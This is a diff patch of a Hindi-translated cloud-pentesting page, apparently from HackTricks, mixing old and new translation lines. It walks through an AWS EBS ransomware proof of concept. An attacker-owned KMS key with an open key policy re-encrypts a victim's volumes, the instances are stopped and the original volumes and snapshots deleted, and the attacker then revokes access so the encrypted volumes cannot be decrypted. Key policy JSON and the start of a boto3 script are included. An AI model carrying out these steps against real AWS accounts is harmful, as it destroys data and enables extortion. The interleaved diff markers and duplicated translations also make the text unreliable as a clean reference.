गए Ransomware demonstration के समान एक proof of concept। KMS को RMS कहना चाहिए — Ransomware Management Service — क्योंकि इसका उपयोग विभिन्न AWS सेवाओं को एन्क्रिप्ट करने के लिए करना कितना आसान है। +यह एक प्रूफ ऑफ कॉन्सेप्ट है, जो S3 post-exploitation नोट्स में प्रदर्शित Ransomware प्रदर्शन के समान है। KMS को RMS (Ransomware Management Service) के रूप में नामांकित किया जाना चाहिए, क्योंकि यह विभिन्न AWS सेवाओं को एन्क्रिप्ट करने के लिए उपयोग में कितना आसान है। -पहले एक 'attacker' AWS खाते से, KMS में एक customer managed key बनाएं। इस उदाहरण में हम AWS को ही key data प्रबंधित करने देंगे, लेकिन वास्तविक परिदृश्य में कोई malicious actor कुंजी डेटा को AWS के नियंत्रण के बाहर रखेगा। Key policy बदलकर किसी भी AWS account Principal को key का उपयोग करने की अनुमति दें। इस key policy के लिए, खाते का नाम 'AttackSim' था और सभी access की अनुमति देने वाला policy rule 'Outside Encryption' कहा जाता है। +पहले 'attacker' AWS खाते से, KMS में एक customer managed key बनाएँ। इस उदाहरण के लिए हम बस AWS को मेरे लिए key डेटा प्रबंधित करने देंगे, लेकिन वास्तविक परिदृश्य में एक malicious actor key डेटा को AWS के नियंत्रण के बाहर रखेगा। key policy को बदलें ताकि किसी भी AWS account Principal को key का उपयोग करने की अनुमति मिल सके। इस key policy के लिए खाते का नाम 'AttackSim' था और सभी एक्सेस की अनुमति देने वाला policy नियम 'Outside Encryption' कहा जाता है। ``` { "Version": "2012-10-17", @@ -401,7 +405,7 @@ S3 post-exploitation नोट्स में दिखाए गए Ransomware ] } ``` -कुंजी नीति के नियम में निम्नलिखित सक्षम होना चाहिए ताकि इसे EBS volume को एन्क्रिप्ट करने के लिए उपयोग किया जा सके: +The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume: - `kms:CreateGrant` - `kms:Decrypt` @@ -409,21 +413,21 @@ S3 post-exploitation नोट्स में दिखाए गए Ransomware - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -अब सार्वजनिक रूप से उपलब्ध key के साथ उपयोग करने के लिए। हम एक 'victim' account का उपयोग कर सकते हैं जिसमें कुछ EC2 instances चलाए गए हैं जिनके साथ unencrypted EBS volumes जुड़े हुए हैं। इस 'victim' account के EBS volumes ही हमारा लक्ष्य हैं जिन्हें एन्क्रिप्ट किया जाएगा — यह हमला एक उच्च-privilege AWS account के संभावित breach के अंतर्गत है। +अब सार्वजनिक रूप से उपलब्ध key के साथ। हम एक 'victim' account का उपयोग कर सकते हैं जिसमें कुछ EC2 instances चल रहे हैं और उनसे जुड़े unencrypted EBS volumes हैं। इस 'victim' account के EBS volumes को हम encrypt करने का लक्ष्य बना रहे हैं; यह attack उच्च-privilege AWS account के कथित उल्लंघन के अंतर्गत है। ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -S3 ransomware उदाहरण के समान। यह हमला संलग्न EBS volumes की snapshots लेकर उनकी प्रतियाँ बनायेगा, 'attacker' account से सार्वजनिक रूप से उपलब्ध key का उपयोग करके नई EBS volumes को एन्क्रिप्ट करेगा, फिर मूल EBS volumes को EC2 instances से detach करके उन्हें delete करेगा, और अंत में उन snapshots को भी delete कर देगा जिनका उपयोग नई एन्क्रिप्टेड EBS volumes बनाने के लिए किया गया था। ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +S3 ransomware उदाहरण के समान। यह attack attached EBS volumes की snapshots बनाकर उनकी copies बनाएगा, 'attacker' account से सार्वजनिक रूप से उपलब्ध key का उपयोग करके नई EBS volumes को encrypt करेगा, फिर original EBS volumes को EC2 instances से detach करके delete कर देगा, और अंत में उन snapshots को भी delete कर देगा जिनसे नई encrypted EBS volumes बनाई गई थीं। ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -इसका परिणाम यह होगा कि खाते में केवल एन्क्रिप्टेड EBS volumes ही उपलब्ध रहेंगे। +जिसका परिणाम यह हुआ कि account में अब केवल encrypted EBS volumes ही उपलब्ध रहें। ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -यह भी ध्यान देने योग्य है कि स्क्रिप्ट ने मूल EBS volumes को detach और delete करने के लिए EC2 instances को stop किया। मूल unencrypted volumes अब मौजूद नहीं हैं। +ध्यान देने योग्य बात: script ने original EBS volumes को detach और delete करने के लिए EC2 instances को stop कर दिया था। मूल unencrypted volumes अब मौजूद नहीं हैं। ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -अगला कदम: 'attacker' account में key policy पर वापस जाएं और key policy से 'Outside Encryption' policy rule हटा दें। +अगला कदम: 'attacker' account में key policy पर वापस जाएँ और key policy से 'Outside Encryption' policy rule को हटा दें। ```json { "Version": "2012-10-17", @@ -494,15 +498,15 @@ S3 ransomware उदाहरण के समान। यह हमला स ] } ``` -Wait a moment for the newly set key policy to propagate. Then return to the 'victim' account and attempt to attach one of the newly encrypted EBS volumes. You'll find that you can attach the volume. +नए सेट किए गए key policy के propagate होने के लिए कुछ क्षण प्रतीक्षा करें। फिर 'victim' account में लौटकर नए encrypted EBS volumes में से किसी एक को attach करने का प्रयास करें। आप पाएँगे कि आप volume को attach कर सकते हैं। ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -But when you attempt to actually start the EC2 instance back up with the encrypted EBS volume it'll just fail and go from the 'pending' state back to the 'stopped' state forever since the attached EBS volume can't be decrypted using the key since the key policy no longer allows it. +लेकिन जब आप encrypted EBS volume के साथ EC2 instance को वास्तव में फिर से start करने का प्रयास करते हैं तो यह बस fail कर जाएगा और 'pending' state से वापस 'stopped' state में चला जाएगा क्योंकि attached EBS volume को key से decrypt नहीं किया जा सकता — key policy अब इसकी अनुमति नहीं देती। ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -यह वही python script है जो इस्तेमाल किया गया। यह 'victim' account के लिए AWS creds और encryption के लिए उपयोग किए जाने वाले key के लिए एक publicly available AWS ARN मान लेता है। Script लक्ष्यित AWS account में लगे सभी EC2 instances से जुड़े सभी उपलब्ध EBS volumes की encrypted प्रतियाँ बनाएगा, फिर हर EC2 instance को stop करेगा, original EBS volumes को detach करेगा, उन्हें delete करेगा, और अंत में प्रक्रिया के दौरान उपयोग किए गए सभी snapshots को delete करेगा। इससे लक्ष्यित 'victim' account में केवल encrypted EBS volumes ही बचेंगे। ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES. आप उन्हें उपयोग किए गए KMS key का उपयोग करके recover कर सकते हैं और snapshots के माध्यम से उन्हें उनकी मूल स्थिति में restore कर सकते हैं, पर मैं बस यह बताना चाहता हूँ कि अंततः यह एक ransomware PoC है। +यह वही python script है जो उपयोग की गई है। यह 'victim' account के लिए AWS creds और encryption के लिए उपयोग किए जाने वाले key का publicly available AWS ARN value लेता है। स्क्रिप्ट targeted AWS account में जुड़े हुए सभी EC2 instances के सभी उपलब्ध EBS volumes की encrypted copies बनाएगा, फिर हर EC2 instance को stop करेगा, original EBS volumes को detach करेगा, उन्हें delete करेगा, और अंत में प्रक्रिया के दौरान उपयोग किए गए सभी snapshots को delete कर देगा। इससे targeted 'victim' account में केवल encrypted EBS volumes ही बचे रहेंगे। केवल TEST environment में ही इस स्क्रिप्ट का उपयोग करें — यह विनाशकारी है और सभी original EBS volumes को delete कर देगा। आप इन्हें उपयोग किए गए KMS key की मदद से recover कर सकते हैं और snapshots के माध्यम से उनकी मूल स्थिति पर restore कर सकते हैं, पर बस यह बताना आवश्यक है कि अंततः यह एक ransomware PoC है। ``` import boto3 import argparse @@ -621,8 +625,10 @@ main() ``` ## संदर्भ -- [Latacora - ECS on EC2: IMDS Hardening में गैप्स को कवर करना](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) +- +- [Latacora - ECS on EC2: IMDS Hardening में मौजूद कमियों को कवर करना](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) - [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) -- [Pentest Partners – AWS में SSM का उपयोग करके फ़ाइलें कैसे ट्रांसफर करें](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) +- [Pentest Partners – AWS में SSM का उपयोग करके फ़ाइलें कैसे स्थानांतरित करें](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) + {{#include ../../../../banners/hacktricks-training.md}}